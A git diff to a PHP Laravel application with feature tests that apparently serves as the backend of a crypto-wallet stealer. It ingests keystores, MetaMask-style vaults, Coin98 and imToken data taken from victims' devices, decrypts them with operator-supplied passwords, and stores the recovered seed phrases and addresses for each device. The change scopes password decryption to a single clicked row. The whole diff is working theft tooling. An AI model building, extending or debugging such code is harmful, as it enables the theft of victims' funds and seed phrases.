diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 07c99a8..380ec7f 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -1007,8 +1007,9 @@ class DarkSwordIngestAdapter public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array { $result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password); - $this->applyMnemonicHits($device, $result['hits']); + $this->applyMnemonicHits($device, $result['hits'], markSource: false); if ($result['hits'] !== []) { + $this->keystoreDecrypt->markRowDecrypted($row); [$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores')); $this->extractAddressesFromKeystores($device, $wallets, $sandbox); } @@ -1024,7 +1025,7 @@ class DarkSwordIngestAdapter /** * @param list>}> $hits */ - private function applyMnemonicHits(Device $device, array $hits): void + private function applyMnemonicHits(Device $device, array $hits, bool $markSource = true): void { foreach ($hits as $hit) { $tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd'; @@ -1032,7 +1033,9 @@ class DarkSwordIngestAdapter 'mnemonic' => $hit['phrase'], 'a' => $tag, ]); - $this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']); + if ($markSource) { + $this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']); + } $mnemonic = WalletMnemonic::query() ->where('device_id', $device->id) diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index d997204..b813e83 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -82,34 +82,19 @@ final class DsKeystoreDecrypt /** * Try operator-supplied password against UTC / walletsV2 blobs and - * MetaMask-style password vaults on this row (and same-source rows). + * MetaMask-style password vaults on this row only. * * @return array{hits: list}>, utc: int, vault: int} */ public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array { - $device->loadMissing('keystores'); $source = trim((string) $row->source); - $nodes = [is_array($row->raw_json) ? $row->raw_json : []]; - foreach ($device->keystores as $other) { - if ((int) $other->id === (int) $row->id) { - continue; - } - if (trim((string) $other->source) !== $source) { - continue; - } - $nodes[] = is_array($other->raw_json) ? $other->raw_json : []; - } - - $utcs = []; - $vaults = []; + $node = is_array($row->raw_json) ? $row->raw_json : []; + $utcs = $this->collectKeystores($node, $source !== '' ? $source : 'unknown'); + $vaults = $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'); $coin98Wallets = []; - foreach ($nodes as $node) { - $utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown')); - $vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown')); - foreach ($this->collectCoin98Backups($node) as $wallets) { - $coin98Wallets = array_merge($coin98Wallets, $wallets); - } + foreach ($this->collectCoin98Backups($node) as $wallets) { + $coin98Wallets = array_merge($coin98Wallets, $wallets); } $utcs = $this->uniqueKeystores($utcs); $passwords = $this->expandUserPassword($password); @@ -1066,6 +1051,15 @@ final class DsKeystoreDecrypt } } + public function markRowDecrypted(WalletKeystore $row): void + { + if ((int) $row->decrypted === 1) { + return; + } + $row->decrypted = 1; + $row->save(); + } + public function markSourceDecrypted(int $deviceId, string $source): void { WalletKeystore::query() diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index 2c01893..bbe64f4 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -399,6 +399,47 @@ class KeystoreAdminTest extends TestCase $this->assertSame(1, (int) $row->fresh()->decrypted); } + #[Test] + public function password_decrypt_only_unlocks_the_clicked_row(): void + { + Http::fake(); + $admin = Admin::query()->create(['username' => 'admin-one-row', 'password' => 'admin123']); + $phraseA = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $phraseB = 'legal winner thank year wave sausage worth useful legal winner thank yellow'; + $password = 'shared-imtoken-pass'; + $device = Device::query()->create(['device_id' => 'DEVKSONEROW']); + $clicked = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => array_merge(EthKeystore::encrypt($phraseA, $password, [ + 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('11', 32), + ]), ['kind' => 'web3.keystore']), + ]); + $other = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'imToken', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => array_merge(EthKeystore::encrypt($phraseB, $password, [ + 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('22', 32), + ]), ['kind' => 'web3.keystore']), + ]); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $clicked), ['password' => $password]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.added', 1) + ->assertJsonPath('data.decrypted', 1); + + $this->assertSame(1, (int) $clicked->fresh()->decrypted); + $this->assertSame(0, (int) $other->fresh()->decrypted); + $this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count()); + $this->assertSame($phraseA, WalletMnemonic::query()->where('device_id', $device->id)->first()?->mnemonic); + } + #[Test] public function imtoken_web3_keystore_without_needs_password_flag_uses_password_decrypt(): void {